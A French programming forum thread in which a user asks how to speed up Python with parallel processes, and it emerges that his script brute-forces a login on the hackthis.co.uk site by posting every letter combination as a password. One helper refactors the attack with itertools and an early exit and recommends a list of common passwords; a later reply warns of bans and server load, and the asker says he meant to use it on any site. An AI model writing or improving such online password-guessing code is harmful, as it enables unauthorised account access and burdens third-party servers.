Discussion :

[stinng]

Bonjour,
La vitesse des calculs en python étant relativement lente, je me demandais si pour un calcul donné, il était plus rapide de partager ce calcul dans 2 programme différents lancés simultanéments?
je ne dois pas être très clair donc je vais donner un exemple.
l'idée est de remplacer un programme qui fait:

Pour i allant de a à b: (a et b étant des nombres)

exécuter un certain nombre d'action sur i dont les résultats sont indépendants des résultats de a, a+1, a+2, z-1, z, etc

on remplacerais ce programme par deux programmes que l'on exécuterait en même temps soit:
Programme 1:

Pour i allant de a à b:

exécuter un certain nombre d'action sur i dont les résultats sont indépendants du précédent

Programme 2:

Pour i allant de b à z:

exécuter un certain nombre d'action sur i dont les résultats sont indépendants du précédent

Est-ce que cette méthode serait plus rapide? Et si oui, est-ce que la différence de temps en vaut la peine. Peut-on créer un fichier python qui exécute deux programmes en même temps ou doit utiliser un fichier bat pour cela?

merci de votre aide et de vos réponse

[Julien N]

Salut,

C'est effectivement possible. Il faut voir du côté de concurrent, dont il existe un backport en python 2.7 que j'utilise de temps en temps. Je me trompe peut-être, vu que jamais encore utilisé, mais le module asyncio peut peut-être répondre à ta question.

Après il n'est pas toujours nécessaire d'employer ce genre de technique. ça dépend de ce qui est exécuter dans la boucle. Si ce sont des opérations mathématiques y'a peut-être moyen de vectoriser. Si c'est une fonction qui prend un peu de temps, peut-être aussi voir du côté de cython.

Il y peut-être d'autres solutions possibles.

J

[stinng]

Est ce que je peux faire l'équivalent de concurrent futures mais manuellement donc en exécutant moi même plusieurs programmes en même temps. Et si je le fais quel sera l'ordre de grandeur de temps gagné?

[Julien N]

Oui on peut lancer plusieurs programmes/scripts en parallèle depuis un unique programme en utilisant par exemple subprocess. Mais il faudra alors gérer à la main la récupération des résultats (si résultats il y a) de chaque process. De plus il faudra faire en sorte de ne pas lancer 1000 processus en même temps, mais s'assurer de ne pas dépasser un nombre fixe, et donc implémenter un genre de liste d'attente. En gros réinventer un peu la roue.

[stinng]

d'accord merci beaucoup je vais regarder ça. combien de processus simultanés pourrait supporter un ordinateur standard?

[Julien N]

combien de processus simultanés pourrait supporter un ordinateur standard?

Aucune idée. Tout dépend de la charge CPU d'un seul processus.

[stinng]

d'accord merci beaucoup pour votre aide.
je vais me renseigner et surtout essayer et je vous redirez.

[stinng]

alors mon script fonctionne avec subprocess. il crée plein de processus grâce à un boucle. Si le script recherche une donnée dans plusieurs documents en même temps (grâce au nombreux processus), comment fermer tous les processus une fois que la donnée a été trouvée. Il faudrait un peu tuer le processus, comment puis-je faire cela?

[stinng]

comment peut-on bien optimiser un algorithme pour gagner du temps?

[stinng]

lorsque je lance mon programme, chaque sous programme est très ralenti. En ouvrant le gestionnaire de tache, je vois que le processeur est très peu utilisé (8%), mais par contre la mémoire physique est très utilisé (60%). comment puis-je accélérer mon programme? est-ce la mémoire physique qui le ralenti?

[Julien N]

Si le script recherche une donnée dans plusieurs documents en même temps (grâce au nombreux processus), comment fermer tous les processus une fois que la donnée a été trouvée. Il faudrait un peu tuer le processus, comment puis-je faire cela?

Normalement le processus a un début et une fin. Admettons le code lancé soit de la forme:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
def find_value(fname):
    # Do something
    return value
 
value = find_value("C:\Documents\Fichier.txt")

Et que le processus appelé soit de la forme:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

"python monscript.py"

Le code sera lancé, exécuté, et se terminera de lui-même. Si les processus ne se terminent c'est qu'il y a une boucle infinie qu'il faut casser à un certain moment.

Pour optimiser un code, il y a pas mal de leviers. Il faut éviter au maximum les boucles, éviter de répéter certaines actions si ce n'est pas strictement nécessaire comme ouvrir et fermer des fichiers, utiliser des générateurs au lieu de listes, mettre en place des moyens pour sortir de certaines boucles avant la fin de celle-ci si l'action voulue est réalisée, etc... Un bon moyen de savoir ce qui prend du temps dans l'exécution d'un code c'est de le profiler. Il y a des modules pour ça comme le module cProfile. Par exemple:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
import cProfile
 
def my_function():
    for i in range(1000):
        pass
 
# Profile code
profile = cProfile.Profile()
profile.enable()
my_function()
profile.disable
profile.print_stats()

A l'exécution on voit tous ce qui a été lancé lors de l'appel de my_function, ainsi que le temps prit par appel. Pratique pour déceler ce qui devrait être optimiser.

J

[stinng]

merci beaucoup pour cette réponse. Je pense que le problème vient de la longueur du processus. Plus il y en a, plus le programme est ralenti mais il faut plusieurs minute pour qu'un processus lancé seul se termine. Donc lorsque je crée des sous-processus, le temps d’exécution de chaque sous-processus augmente et en plus cela utilise plus de place dans le processeur et dans la mémoire physique. Je vais essayer d'optimiser les algorithmes et je vous redirais ensuite si le temps est encore un gros problème.

[stinng]

Le problème est que à partir d'une liste de mots je vais créer en fait toutes les combinaisons de mots possibles donc cela crée des boucles dans des boucles elles mêmes dans des boucles. Au coeur de chacune des plus petites boucles, on teste la combinaison. Cette partie est assez longue dans le programme surtout lorsque ensuite pour tester cette combinaison on l'envoie sur internet et on attend une réponse de la page. Avec un seul processeur on met environ 1 seconde par combinaison. Mais lorsqu'on augmente le nombre de processus simultané, chaque processus ralentit énormément (environ 4-5 secondes).
De plus toutes les tests simultanés utilisent la même fonction qui est importée d'un autre fichier. Est ce que cela ralentit d'avantage les différents processus que si chaque processus avait sa propre fonction.

[Julien N]

A mon avis il est préférable que vous postiez un bout de code pour illustrer le problème. Quelque chose de simplifier, conscrit au problème, et exécutable par tout le monde. Plus la version de python que vous utlisez.

Pour les requête internet je ne m'y connais pas, mais concurrent ou asyncio ressortent souvent sur des sujets semblables. Pour ce qui est des combinaisons, je ne peux que vous conseillez d'aller voir du côté d'itertools, notamment la fonction combinations.

[stinng]

je ne suis pas sur mon ordinateur actuellement je vous envoie le code dès que je suis dessus.

[stinng]

voici mon code, il y a deux fichiers:
voici le premier:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib.parse
import urllib.request
 
def connexion(password):
    url = 'https://www.hackthis.co.uk/?login'
    user_agent = 'Mozilla/5.0 (compatible; Chrome/22.0.1229.94; Windows NT)'
    values = {'username' : 'mon nom',
              'password' : password}
 
    headers = {'User-Agent': user_agent }
 
    data = urllib.parse.urlencode(values)
    binary_data = data.encode('utf-8') 
    req = urllib.request.Request(url, binary_data, headers)
 
 
 
    response = urllib.request.urlopen(req)
    the_page = response.read()
    the_page=str(the_page)
    the_page=the_page.replace("\\t","")
    the_page=the_page.replace("\\n","")
    the_page=the_page.replace("\\r","")
    if "Invalid" not in the_page:
        with open('password.txt','w') as monfich:
            monfich.write(password)
            monfich.close()

voici le second fichier qui existe en réalité en de multiple version où le a change de valeur:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import connexion
lettre=['a', 'b', 'c', 'd']
a='a'
connexion.connexion(a)
print(a)
for b in lettre:
    mot=a+b
    print(mot)
    connexion.connexion(mot)
    for c in lettre:
       mot=a+b+c
       print(mot)
       connexion.connexion(mot)
       for d in lettre:
           mot=a+b+c+d
           print(mot)
           connexion.connexion(mot)
           for z in lettre:
               mots=mot+z
               print(mots)
               connexion.connexion(mots)

[Julien N]

Tester toutes les combinaisons de lettres va effectivement prendre du temps.

La fonction connexion devrait renvoyer quelque chose comme un booléen.

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
 
def connexion(mot):
    .....
    if "Invalid" not in the_page:
        with open('password.txt','w') as monfich:
            monfich.write(password)
            monfich.close()
        return True
    return False

De cette façon le programme principal peut vérifier pour chaque tentative si elle a réussit ou non. On peut alors tester cette réussite comme suit:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
if connexion.connexion(mot):
    # Fait quelque chose

Le programme principal devrait tourner tant que la connexion n'a pas été établie. Donc utiliser un while:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
while True: # Boucle infinie
    ....
    if connexion.connexion(mot):
       break # on sort de la boucle si on atteint notre objectif

De cette façon on ne test pas toutes les possibilités mais uniquement toutes celles avant réussite.

De plus on peut éviter la cascade de boucle grâce à itertools:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
for i in range(1, len(letters)+1, 1):
    for combination in product(letters, repeat=i):
        word = word_start + ''.join(combination)
        print(word)

Le tout donnerais un truc comme ça:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import product
import connexion
 
letters = ['a', 'b', 'c', 'd']
word_start = 'a'
 
while True:
    for i in range(1, len(letters)+1, 1):
        for combination in product(letters, repeat=i):
            word = word_start + ''.join(combination)
            if connexion.connexion(word):
                break

Après je préconise (si ce n'est pas déjà fait), d'avoir un fichiers de mot de passe les plus communs, et d'avoir un autre mécanisme pour la lettre de départ 'a'. Pas besoin d'avoir un fichier par lettre.

[stinng]

Je suis d'accord et je vous remercie pour cette optimisation mais comme plusieurs programmes sont lancés en même comment puis-je tous les fermer lorsque le bon est trouvé car si l'un s'arrête, cela signifie que la bonne combinaison est trouvée et il n'y a donc pas de raison de continuer les autres qui testent d'autres combinaisons.

[BufferBob]

salut,

si j'ai à peu près suivi l'histoire, tu t'essayes à une épreuve sur un site de challenges et pour la solutionner t'as dans l'idée de bruteforcer une combinaison directement sur le site : y'a de très grandes chances que 1) ce ne soit pas la bonne solution 2) tu te prennes un ban, par ailleurs plus tu réussiras à "optimiser" la vitesse d'exécution de ton code ici plus tu vas augmenter la vitesse d'envoi des paquets, tu seras donc limité par ta connexion d'une part, d'autre part tu vas potentiellement pénaliser la bande passante coté serveur (d'où le probable bannissement dans la foulée)

c'est quelle épreuve que tu tentes de faire ?

[stinng]

je suis parti d'une épreuve du site HackThis puis j'ai voulu essayer de le faire pour n'importe quel site ayant besoin d'un code. J'ai voulu ensuite améliorer encore et encore la vitesse d'execution du script